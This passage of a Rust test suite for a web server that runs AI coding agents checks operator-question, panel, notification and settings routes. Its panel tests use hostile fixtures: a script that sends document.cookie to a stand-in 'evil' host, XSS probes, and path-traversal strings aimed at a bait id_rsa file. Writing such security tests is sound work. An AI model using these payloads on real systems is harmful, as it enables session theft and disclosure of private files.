8295 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8304 for _ in 0..SETTLE_STEPS {
8305 let view = fx.get("/api/loop").await.json();
8306 if want(&view) {
8307 return view;
8308 }
8309 tokio::time::sleep(Duration::from_millis(10)).await;
8310 }
8311 panic!(
8312 "the loop never settled: {}",
8313 fx.get("/api/loop").await.json()
8314 );
8315 }
8316
8317 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8319 let store = fx.questions();
8320 let mut q = Question::new(
8321 "20260902-000000-beef".to_owned(),
8322 "implement".to_owned(),
8323 "impl-A".to_owned(),
8324 summary.to_owned(),
8325 "because it matters".to_owned(),
8326 choices.iter().map(|c| (*c).to_owned()).collect(),
8327 );
8328 store.put(&mut q).expect("put question");
8329 q.id
8330 }
8331
8332 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8338 let store = fx.questions();
8339 let mut q = Question::new(
8340 "20260902-000000-beef".to_owned(),
8341 "land".to_owned(),
8342 "fix".to_owned(),
8343 "Merge this?".to_owned(),
8344 "the diff is in the panel".to_owned(),
8345 vec!["merge".to_owned(), "hold".to_owned()],
8346 );
8347 let staging = fx.home.path().join("staging");
8350 std::fs::create_dir_all(&staging).expect("staging dir");
8351 let sources: Vec<PathBuf> = assets
8352 .iter()
8353 .map(|(name, bytes)| {
8354 let path = staging.join(name);
8355 std::fs::write(&path, bytes).expect("write staged asset");
8356 path
8357 })
8358 .collect();
8359 store
8360 .put_panel(&mut q, html, &sources)
8361 .expect("write the panel");
8362 store.put(&mut q).expect("put question");
8363 q.id
8364 }
8365
8366 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8375 seed_talk_at(&fx.talks(), id, status)
8376 }
8377
8378 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8379 std::fs::create_dir_all(store.root()).expect("talks dir");
8380 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8381 .expect("serialize a seat");
8382 let body = serde_json::json!({
8383 "schema": 1,
8384 "id": id,
8385 "repo": "/repo/magi",
8386 "agent": "mock",
8387 "status": status,
8388 "turns": [],
8389 "created_at": Timestamp::now().to_string(),
8390 "updated_at": Timestamp::now().to_string(),
8391 "seat": seat,
8392 });
8393 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8394 store.get(id).expect("the seeded talk has to be readable");
8395 id.to_owned()
8396 }
8397
8398 #[tokio::test]
8399 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8400 let fx = Fixture::start().await;
8401 let id = panel(
8402 &fx,
8403 "<h1>Merge?</h1><img src=\"diff.svg\">",
8404 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8405 );
8406
8407 for path in [
8408 format!("/api/questions/{id}/panel"),
8409 format!("/api/questions/{id}/asset/diff.svg"),
8410 ] {
8411 let res = fx.get(&path).await;
8412 assert_eq!(res.status, 200, "{path}: {}", res.body);
8413 assert_eq!(
8419 res.header("content-security-policy"),
8420 Some(
8421 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8422 font-src data:; base-uri 'none'; form-action 'none'; \
8423 frame-ancestors 'self'"
8424 ),
8425 "{path} is the only thing between a hostile panel and the tailnet"
8426 );
8427 assert_eq!(
8428 res.header("x-content-type-options"),
8429 Some("nosniff"),
8430 "{path}: a browser must not re-decide the type we sent"
8431 );
8432 assert_eq!(
8433 res.header("referrer-policy"),
8434 Some("no-referrer"),
8435 "{path}: a panel must not leak the question id off the machine"
8436 );
8437
8438 let pre = fx.head(&path).await;
8443 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8444 assert_eq!(
8445 pre.header("content-security-policy"),
8446 res.header("content-security-policy"),
8447 "{path}: the preflight carries the same policy"
8448 );
8449 assert_eq!(
8450 pre.header("content-type"),
8451 res.header("content-type"),
8452 "{path}: the preflight carries the same type"
8453 );
8454 }
8455 }
8456
8457 #[tokio::test]
8458 async fn a_panel_reaches_the_browser_byte_for_byte() {
8459 let fx = Fixture::start().await;
8460 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8465 let id = panel(&fx, html, &[]);
8466
8467 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8468
8469 assert_eq!(res.status, 200);
8470 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8471 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8472 assert_eq!(
8473 res.header("content-disposition"),
8474 None,
8475 "the panel itself is rendered in the frame, not downloaded"
8476 );
8477 }
8478
8479 #[tokio::test]
8480 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8481 let fx = Fixture::start().await;
8482 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8483 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8484 let id = panel(
8485 &fx,
8486 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8487 &[("diff.svg", svg), ("shot.png", png)],
8488 );
8489
8490 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8491 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8492
8493 assert_eq!(as_svg.status, 200);
8494 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8495 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8500
8501 assert_eq!(as_png.status, 200);
8502 assert_eq!(as_png.header("content-type"), Some("image/png"));
8503 assert_eq!(
8504 as_png.header("content-disposition"),
8505 None,
8506 "a raster image has no execution surface, so tapping it still shows it"
8507 );
8508 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8509 }
8510
8511 #[tokio::test]
8512 async fn an_html_asset_is_never_served_as_html() {
8513 let fx = Fixture::start().await;
8514 let id = panel(
8515 &fx,
8516 "<p>see the notes</p>",
8517 &[
8518 (
8519 "notes.html",
8520 b"<script>fetch('http://evil/'+document.cookie)</script>",
8521 ),
8522 ("hook.js", b"fetch('http://evil/')"),
8523 ("data.json", b"{}"),
8524 ("HEADLINE.TXT", b"plain"),
8525 ],
8526 );
8527
8528 for name in ["notes.html", "hook.js", "data.json"] {
8529 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8530 assert_eq!(res.status, 200, "{name}: {}", res.body);
8531 assert_eq!(
8536 res.header("content-type"),
8537 Some("application/octet-stream"),
8538 "{name} must not be a type the browser will execute or render"
8539 );
8540 }
8541 let txt = fx
8544 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8545 .await;
8546 assert_eq!(
8547 txt.header("content-type"),
8548 Some("text/plain; charset=utf-8")
8549 );
8550 }
8551
8552 #[tokio::test]
8553 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8554 let fx = Fixture::start().await;
8555 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8556 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8560
8561 for encoded in [
8568 "%2e%2e%2fid_rsa",
8569 "..%2fid_rsa",
8570 "..%5cid_rsa",
8571 "%2e%2e%5cid_rsa",
8572 "diff%00.svg",
8573 "..",
8574 ".hidden",
8575 "%2e%2e%2f%2e%2e%2fid_rsa",
8576 ] {
8577 let res = fx
8578 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8579 .await;
8580 assert_eq!(
8581 res.status, 400,
8582 "`{encoded}` has to be refused by name, not looked up: {}",
8583 res.body
8584 );
8585 assert!(res.json()["error"].is_string(), "{}", res.body);
8586 }
8587
8588 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8594 let res = fx
8595 .get(&format!("/api/questions/{id}/asset/{literal}"))
8596 .await;
8597 assert_eq!(
8598 res.status, 404,
8599 "`{literal}` must not match the asset route at all: {}",
8600 res.body
8601 );
8602 }
8603 }
8604
8605 #[tokio::test]
8606 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8607 let fx = Fixture::start().await;
8608 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8609 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8610
8611 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8615 assert_eq!(none.status, 404, "{}", none.body);
8616 assert!(none.json()["error"].is_string(), "{}", none.body);
8617 assert_eq!(
8618 fx.head(&format!("/api/questions/{plain}/panel"))
8619 .await
8620 .status,
8621 404,
8622 "the preflight is the only way the client can learn this"
8623 );
8624
8625 let missing = fx
8627 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8628 .await;
8629 assert_eq!(missing.status, 404, "{}", missing.body);
8630 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8631
8632 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8634 assert_eq!(
8635 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8636 404
8637 );
8638 }
8639
8640 #[tokio::test]
8641 async fn a_run_with_an_open_question_reads_as_waiting() {
8642 let fx = Fixture::start().await;
8643 let run = "20260902-000000-beef".to_owned();
8644 write_run(&fx.runs(), &run, RunStatus::Implementing);
8645
8646 let before = fx.get("/api/runs").await.json();
8647 assert_eq!(before[0]["waiting"], false, "{before}");
8648
8649 let store = fx.questions();
8650 let mut q = Question::new(
8651 run.clone(),
8652 "implement".to_owned(),
8653 "impl-A".to_owned(),
8654 "Which backend?".to_owned(),
8655 String::new(),
8656 vec!["SQLite".to_owned()],
8657 );
8658 store.put(&mut q).expect("put");
8659
8660 let during = fx.get("/api/runs").await.json();
8661 assert_eq!(during[0]["waiting"], true, "{during}");
8662
8663 q.answer(Answer::Choice("SQLite".to_owned()))
8666 .expect("answer");
8667 store.put(&mut q).expect("put");
8668 let after = fx.get("/api/runs").await.json();
8669 assert_eq!(after[0]["waiting"], false, "{after}");
8670 }
8671
8672 #[tokio::test]
8673 async fn an_open_question_is_listed_and_counted_by_health() {
8674 let fx = Fixture::start().await;
8675 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8676
8677 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8678 let listed = fx.get("/api/questions").await.json();
8679 assert_eq!(listed.as_array().expect("array").len(), 1);
8680 assert_eq!(listed[0]["id"], id);
8681 assert_eq!(listed[0]["status"], "open");
8682 assert_eq!(listed[0]["choices"][1], "Redis");
8683 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8686 }
8687
8688 #[tokio::test]
8689 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8690 let fx = Fixture::start().await;
8691 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8692 let path = format!("/api/questions/{id}/answer");
8693
8694 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8695 assert_eq!(res.status, 200, "{}", res.body);
8696 let body = res.json();
8697 assert_eq!(body["status"], "answered");
8698 assert_eq!(body["answer"]["choice"], "Redis");
8699
8700 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8704 assert_eq!(again.status, 409, "{}", again.body);
8705 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8706 }
8707
8708 #[tokio::test]
8709 async fn saying_something_appends_a_turn_without_answering() {
8710 let fx = Fixture::start().await;
8711 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8712 let path = format!("/api/questions/{id}/say");
8713
8714 let res = fx
8715 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8716 .await;
8717 assert_eq!(res.status, 200, "{}", res.body);
8718 let body = res.json();
8719 assert_eq!(body["status"], "open", "talking back is not a decision");
8720 assert_eq!(body["answer"], Value::Null);
8721 assert_eq!(body["thread"][0]["who"], "operator");
8722 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8723 assert_eq!(body["waiting_on_agent"], true);
8724 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8726 }
8727
8728 #[tokio::test]
8729 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8730 let fx = Fixture::start().await;
8731 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8732
8733 let list = fx.get("/api/questions").await.json();
8734 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8735
8736 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8737 assert_eq!(res.status, 409, "{}", res.body);
8738 let q = fx.questions().get(&id).unwrap();
8739 assert!(q.status.open());
8740 assert!(q.consult.is_none());
8741 }
8742
8743 #[tokio::test]
8744 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8745 let fx = Fixture::start().await;
8746 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8747 let cfg = Config {
8748 agents: vec![crate::config::AgentSpec {
8749 id: "mock".to_owned(),
8750 kind: crate::config::AgentKind::Command,
8751 model: None,
8752 command: vec!["true".to_owned()],
8753 extra_args: Vec::new(),
8754 env: Default::default(),
8755 prompt_delivery: None,
8756 }],
8757 ..Config::default()
8758 };
8759 let talk = crate::talk::begin(
8760 &fx.talks(),
8761 &cfg,
8762 fx.home.path().to_path_buf(),
8763 Some("mock"),
8764 )
8765 .unwrap();
8766 let mut task = Task::new(
8767 "t".to_owned(),
8768 "Do it".to_owned(),
8769 PathBuf::from("/repo/magi"),
8770 Source::Agent {
8771 run: talk.id.clone(),
8772 node: crate::queue::CHAT_NODE.to_owned(),
8773 },
8774 );
8775 task.start("20260902-000000-beef".to_owned());
8776 fx.queue().put(&mut task).unwrap();
8777
8778 let list = fx.get("/api/questions").await.json();
8779 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8780 assert_eq!(
8781 list[0]["choices"],
8782 serde_json::json!(["SQLite", "Redis"]),
8783 "the hand-over is never a choice"
8784 );
8785 fx.questions()
8786 .update(&id, |q| {
8787 q.node = crate::land::APPROVAL_NODE.into();
8788 q.choices = vec!["merge".into(), "hold".into()];
8789 Ok(())
8790 })
8791 .unwrap();
8792 let list = fx.get("/api/questions").await.json();
8793 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8794 let _ = id;
8795 }
8796
8797 #[tokio::test]
8798 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8799 let fx = Fixture::start().await;
8800 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8801 fx.questions()
8802 .update(&id, |q| {
8803 q.node = crate::land::APPROVAL_NODE.into();
8804 q.choices = vec!["merge".into(), "hold".into()];
8805 Ok(())
8806 })
8807 .unwrap();
8808 let cfg = Config {
8809 agents: vec![crate::config::AgentSpec {
8810 id: "mock".to_owned(),
8811 kind: crate::config::AgentKind::Command,
8812 model: None,
8813 command: vec!["true".to_owned()],
8814 extra_args: Vec::new(),
8815 env: Default::default(),
8816 prompt_delivery: None,
8817 }],
8818 ..Config::default()
8819 };
8820 let repo = fx.home.path().join("chat-repo");
8822 std::fs::create_dir_all(&repo).unwrap();
8823 let toml = repo.join("magi.toml");
8824 std::fs::write(&toml, "this is = = not toml").unwrap();
8825 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8826 let mut task = Task::new(
8827 "t".to_owned(),
8828 "Do it".to_owned(),
8829 PathBuf::from("/repo/magi"),
8830 Source::Agent {
8831 run: talk.id.clone(),
8832 node: crate::queue::CHAT_NODE.to_owned(),
8833 },
8834 );
8835 task.start("20260902-000000-beef".to_owned());
8836 fx.queue().put(&mut task).unwrap();
8837
8838 let path = format!("/api/questions/{id}/consult");
8839 let res = fx.post(&path, None).await;
8840 assert!(res.status >= 400, "{}", res.body);
8841 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8842 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8843
8844 std::fs::write(&toml, "").unwrap();
8845 let res = fx.post(&path, None).await;
8846 assert_eq!(res.status, 202, "{}", res.body);
8847 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8848 let q = fx.questions().get(&id).unwrap();
8849 assert!(q.status.open());
8850 assert!(q.answer.is_none());
8851 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8852 }
8853
8854 #[tokio::test]
8855 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8856 let fx = Fixture::start().await;
8857 let store = fx.questions();
8858 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8859 assert_eq!(
8860 fx.get("/api/health").await.json()["questions_needs_owner"],
8861 1
8862 );
8863
8864 let res = fx
8870 .post(
8871 &format!("/api/questions/{id}/say"),
8872 Some(r#"{"body":"why not Postgres?"}"#),
8873 )
8874 .await;
8875 assert_eq!(res.status, 200, "{}", res.body);
8876 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8877 assert_eq!(
8878 fx.get("/api/health").await.json()["questions_needs_owner"],
8879 0,
8880 "waiting on the agent is not waiting on the owner"
8881 );
8882
8883 let mut q = store.get(&id).expect("get");
8887 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8888 .expect("reply");
8889 store.put(&mut q).expect("put");
8890 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8891 assert_eq!(
8892 fx.get("/api/health").await.json()["questions_needs_owner"],
8893 1,
8894 "the agent's reply is what should light the banner back up"
8895 );
8896 }
8897
8898 #[tokio::test]
8899 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8900 let fx = Fixture::start().await;
8901 let store = fx.questions();
8902
8903 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8904 let res = fx
8905 .post(
8906 &format!("/api/questions/{empty_id}/say"),
8907 Some(r#"{"body":" "}"#),
8908 )
8909 .await;
8910 assert_eq!(res.status, 400, "{}", res.body);
8911
8912 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8913 let mut answered = store.get(&answered_id).expect("get");
8914 answered
8915 .answer(Answer::Choice("SQLite".to_owned()))
8916 .expect("answer");
8917 store.put(&mut answered).expect("put");
8918 let res = fx
8919 .post(
8920 &format!("/api/questions/{answered_id}/say"),
8921 Some(r#"{"body":"still there?"}"#),
8922 )
8923 .await;
8924 assert_eq!(res.status, 409, "{}", res.body);
8925
8926 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8927 let mut abandoned = store.get(&abandoned_id).expect("get");
8928 abandoned.abandon("timed out");
8929 store.put(&mut abandoned).expect("put");
8930 let res = fx
8931 .post(
8932 &format!("/api/questions/{abandoned_id}/say"),
8933 Some(r#"{"body":"still there?"}"#),
8934 )
8935 .await;
8936 assert_eq!(res.status, 409, "{}", res.body);
8937 }
8938
8939 #[tokio::test]
8940 async fn an_answer_the_question_does_not_offer_is_refused() {
8941 let fx = Fixture::start().await;
8942 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8943 let path = format!("/api/questions/{id}/answer");
8944
8945 for body in [
8946 r#"{"choice":"Postgres"}"#,
8947 r#"{"text":"whatever you think"}"#,
8948 r#"{"choice":"Redis","text":"both"}"#,
8949 r#"{}"#,
8950 ] {
8951 let res = fx.post(&path, Some(body)).await;
8952 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8953 assert!(res.json()["error"].is_string(), "{}", res.body);
8954 }
8955 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8957 }
8958
8959 #[tokio::test]
8960 async fn a_free_text_question_takes_text_and_not_a_choice() {
8961 let fx = Fixture::start().await;
8962 let id = ask(&fx, "What should the flag be called?", &[]);
8963 let path = format!("/api/questions/{id}/answer");
8964
8965 assert_eq!(
8966 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8967 400
8968 );
8969 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8970 assert_eq!(res.status, 200, "{}", res.body);
8971 assert_eq!(res.json()["answer"]["text"], "--json");
8972 }
8973
8974 #[tokio::test]
8975 async fn an_unknown_question_is_a_json_404() {
8976 let fx = Fixture::start().await;
8977 let res = fx
8978 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8979 .await;
8980 assert_eq!(res.status, 404, "{}", res.body);
8981 assert!(res.json()["error"].is_string());
8982 }
8983
8984 #[tokio::test]
8985 async fn notifications_list_read_dismiss_and_health_agree() {
8986 let fx = Fixture::start().await;
8987 let store = Notices::at(fx.home.path().join("notifications"));
8988 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8989 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8990
8991 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8992 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8993
8994 let health = fx.get("/api/health").await.json();
8995 assert_eq!(health["notifications_unread"], 2);
8996 assert_ne!(
8997 health["notifications_rev"], rev0,
8998 "the badge must move live"
8999 );
9000
9001 let listed = fx.get("/api/notifications").await.json();
9002 assert_eq!(listed["unread"], 2);
9003 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9004 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9005
9006 let read = fx
9007 .post(&format!("/api/notifications/{}/read", a.id), None)
9008 .await;
9009 assert_eq!(read.status, 200, "{}", read.body);
9010 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9011
9012 let gone = fx
9013 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9014 .await;
9015 assert_eq!(gone.status, 200, "{}", gone.body);
9016 let listed = fx.get("/api/notifications").await.json();
9017 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9018 assert_eq!(listed["unread"], 0);
9019
9020 store.raise(Notice::info("x", "again")).unwrap();
9021 let all = fx.post("/api/notifications/read-all", None).await;
9022 assert_eq!(all.status, 200, "{}", all.body);
9023 assert_eq!(all.json()["marked"], 1);
9024 assert_eq!(
9025 fx.get("/api/health").await.json()["notifications_unread"],
9026 0
9027 );
9028
9029 let missing = fx.post("/api/notifications/nope/read", None).await;
9030 assert_eq!(missing.status, 404, "{}", missing.body);
9031 assert!(missing.json()["error"].is_string());
9032 }
9033
9034 #[tokio::test]
9041 async fn a_task_cannot_be_filed_over_the_phone_directly() {
9042 let f = Fixture::start().await;
9043
9044 let res = f
9045 .post(
9046 "/api/queue",
9047 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9048 )
9049 .await;
9050
9051 assert_eq!(
9052 res.status, 405,
9053 "POST /api/queue must not be a route: {}",
9054 res.body
9055 );
9056 assert!(
9057 f.queue().list().is_empty(),
9058 "a task filed by a route that does not exist must not reach the disk"
9059 );
9060 assert_eq!(f.get("/api/queue").await.status, 200);
9063 }
9064
9065 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9067 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9068 .expect("checkout dir");
9069 }
9070
9071 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9073
9074 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9075 let tmp = TempDir::new().expect("tempdir");
9076 let repo = tmp.path().join("repo");
9077 std::fs::create_dir_all(&repo).expect("repo dir");
9078 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9079 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9080 if let Some(text) = machine_toml {
9081 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9082 std::fs::write(&machine, text).expect("machine toml");
9083 }
9084 (tmp, repo, machine)
9085 }
9086
9087 #[tokio::test]
9088 async fn settings_get_reports_sources_and_the_advisors_fallback() {
9089 let (_tmp, repo, machine) =
9090 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9091 let f = Fixture::with_repo_and_machine(repo, machine).await;
9092 let res = f.get("/api/settings").await;
9093 assert_eq!(res.status, 200, "{}", res.body);
9094 let v = res.json();
9095 assert!(v["error"].is_null(), "{v}");
9096 let role = |k: &str| {
9097 v["roles"]
9098 .as_array()
9099 .and_then(|r| r.iter().find(|x| x["key"] == k))
9100 .cloned()
9101 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9102 };
9103 assert_eq!(role("judges")["source"], "machine");
9104 assert_eq!(role("judges")["editable"], true);
9105 assert_eq!(role("implementers")["source"], "default");
9106 let adv = role("advisors");
9107 assert_eq!(adv["fallback"], "judges");
9108 assert!(
9109 adv["seats"]
9110 .as_array()
9111 .is_some_and(|s| s.iter().all(|x| x == "b")),
9112 "{adv}"
9113 );
9114 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9115 assert_eq!(v["agents"][0]["source"], "repo");
9116 }
9117
9118 #[tokio::test]
9119 async fn settings_get_reports_a_config_that_does_not_parse() {
9120 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9121 let f = Fixture::with_repo_and_machine(repo, machine).await;
9122 let res = f.get("/api/settings").await;
9123 assert_eq!(res.status, 200, "{}", res.body);
9124 let v = res.json();
9125 assert!(v["error"]["message"].is_string(), "{v}");
9126 assert!(
9127 v["error"]["path"]
9128 .as_str()
9129 .is_some_and(|p| p.ends_with("magi.toml")),
9130 "{v}"
9131 );
9132 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9133 }
9134
9135 #[tokio::test]
9136 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9137 let (_tmp, repo, machine) = settings_dirs(
9138 SETTINGS_AGENTS,
9139 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
9140 );
9141 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9142 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9143 let rev = f.get("/api/settings").await.json()["revision"]
9144 .as_str()
9145 .expect("revision")
9146 .to_owned();
9147 let body = serde_json::json!({
9148 "revision": rev,
9149 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9150 })
9151 .to_string();
9152 let res = f.put("/api/settings/roles", &body).await;
9153 assert_eq!(res.status, 200, "{}", res.body);
9154 let text = std::fs::read_to_string(&machine).expect("machine");
9155 assert_eq!(
9156 text,
9157 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9158 );
9159 assert_eq!(
9160 std::fs::read(repo.join("magi.toml")).expect("read"),
9161 repo_before
9162 );
9163 let again = f.get("/api/settings").await.json();
9164 let judges = again["roles"]
9165 .as_array()
9166 .expect("roles")
9167 .iter()
9168 .find(|r| r["key"] == "judges")
9169 .expect("judges")
9170 .clone();
9171 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9172 let stale = f.put("/api/settings/roles", &body).await;
9174 assert_eq!(stale.status, 409, "{}", stale.body);
9175 }
9176
9177 #[tokio::test]
9178 async fn settings_counts_are_reported_and_saved() {
9179 let (_tmp, repo, machine) = settings_dirs(
9180 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9181 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9182 );
9183 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9184 let v = f.get("/api/settings").await.json();
9185 let count = |v: &serde_json::Value, k: &str| {
9186 v["roles"]
9187 .as_array()
9188 .and_then(|r| r.iter().find(|x| x["key"] == k))
9189 .map(|x| x["count"].clone())
9190 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9191 };
9192 let imp = count(&v, "implementers");
9193 assert_eq!(imp["value"], 2);
9194 assert_eq!(imp["source"], "machine");
9195 assert_eq!(imp["file_key"], "candidates");
9196 assert_eq!(imp["roster_len"], 2);
9197 assert_eq!(imp["backups"], 0);
9198 assert_eq!(count(&v, "judges")["source"], "default");
9199 assert_eq!(count(&v, "advisors")["min"], 0);
9200 assert_eq!(count(&v, "reviewers")["editable"], false);
9201 assert!(
9202 count(&v, "reviewers")["locked_reason"]
9203 .as_str()
9204 .is_some_and(|m| m.contains("graph.reviewers"))
9205 );
9206 assert!(count(&v, "fixer").is_null());
9207 let rev = v["revision"].as_str().expect("revision").to_owned();
9208 let body = serde_json::json!({
9209 "revision": rev,
9210 "roles": { "judges": ["b"] },
9211 "counts": { "implementers": 1, "advisors": 0 }
9212 })
9213 .to_string();
9214 let res = f.put("/api/settings/roles", &body).await;
9215 assert_eq!(res.status, 200, "{}", res.body);
9216 let text = std::fs::read_to_string(&machine).expect("machine");
9217 assert_eq!(
9218 text,
9219 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9220 );
9221 let after = f.get("/api/settings").await.json();
9222 assert_eq!(count(&after, "implementers")["value"], 1);
9223 assert_eq!(count(&after, "implementers")["backups"], 1);
9224 assert_eq!(count(&after, "advisors")["value"], 0);
9225 let before = std::fs::read_to_string(&machine).expect("machine");
9226 let rev = after["revision"].as_str().expect("revision").to_owned();
9227 for counts in [
9228 serde_json::json!({ "judges": 0 }),
9229 serde_json::json!({ "judges": "x" }),
9230 serde_json::json!({ "judges": 2.5 }),
9231 serde_json::json!({ "judges": -1 }),
9232 serde_json::json!({ "reviewers": 3 }),
9233 serde_json::json!({ "bogus": 3 }),
9234 ] {
9235 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9236 let res = f.put("/api/settings/roles", &body).await;
9237 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9238 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9239 }
9240 }
9241
9242 #[tokio::test]
9243 async fn settings_put_refuses_without_touching_the_file() {
9244 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9245 let (_tmp, repo, machine) = settings_dirs(
